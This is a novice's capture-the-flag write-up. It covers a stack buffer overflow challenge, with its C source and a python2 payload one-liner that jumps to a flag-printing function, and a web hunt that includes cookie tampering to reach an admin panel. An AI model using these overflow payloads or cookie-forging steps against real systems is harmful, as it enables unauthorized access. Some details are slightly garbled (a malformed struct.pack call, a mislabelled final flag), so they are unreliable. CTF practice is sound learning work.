UoFTCTF 2025 Writeup

Warning: This is my first CTF and I am extremely new to this – I completed these challenges but I am no expert (although hoping to change that).

Pwn

baby pwn

Here’s a baby pwn challenge for you to try out. Can you get the flag?
Author: atom

void secret()
{
    printf("Congratulations! Here is your flag: ");
    char *argv[] = {"/bin/cat", "flag.txt", NULL};
    char *envp[] = {NULL};
    execve("/bin/cat", argv, envp);
}

void vulnerable_function()
{
    char buffer[64];
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
    printf("You entered: %s\n", buffer);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the Baby Pwn challenge!\n");
    printf("Address of secret: %p\n", secret);
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}

By reading this, we can see the buffer is 64 bytes but allows up to 128 bytes, allowing it to be vulnerable to buffer overflow.

By testing adding junk data into the field, in this case lots of As, we can test for the buffer overflow to see at what point it overflows and errors out:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Any additional characters added to this input will cause a segmentation fault, meaning we are writing to memory we should not have access to!

The address we are now attempting to access with this vulnerability is 401166. With this information, we can prepare the payload required. To do this, we can do the following:

1. Opening python2 (this is important)
2. import struct
3. `struct.pack(‘<I’>, 0x0000000000401166)
   • This allows us to convert the memory location value to little-endian, as the memory in the buffer overflow attack is being written from the bottom of the stack to the top of the stack.
4. This gives us f\x11@\x00

By adding the full memory address location, we can write to the location f\x11@\x00\x00\x00\x00\x00\x00\x00

Using a simple Python script, we can then write the junk data we need plus our little-endian formatted memory location to receive the final payload:

python2 -c "print 'a'*72 + 'f\x11@\x00\x00\x00\x00\x00\x00\x00'" | ./baby-pwn

Web

Scavenger Hunt

This was a very simple room. This comprised of a very basic web app with 7 parts of a flag split across different sections of the app:

1. Flag 1: In the HTML code on the landing page.
2. Flag 2: In the response header, which I found with a request via Burp Suite
3. Flag 3: Inside the page cookie set as flag3
4. Flag 4: Inside /robots.txt
5. Flag 5: Inside the style.css style sheet
   • robots.txt also had reference to an admin panel /hidden_admin_panel
6. Flag 6: By accessing /hidden_admin_panel and changing the user cookie from guest to admin and refreshing the page gives us the flag
7. By checking responses from the site in Burp, there was a request GET /app.min.js. Inside this request, there is a mention to /app.min.js.map. Within this file location, there is the third and final flag.

Retrospective

I really don’t know that much, but wow this was fun! I’m super excited to continue learning how to exploit more and more.

Hack The Box has CTF challenges which I will be attacking in my free time. I’ve also committed to learning C to better understand low-level languages and buffer Pwn challenges!

I’ll hopefully be writing a cheat sheet and doing some write ups on some more topics including forensics and crypto, and possibly some reverse engineering.

Stay tuned!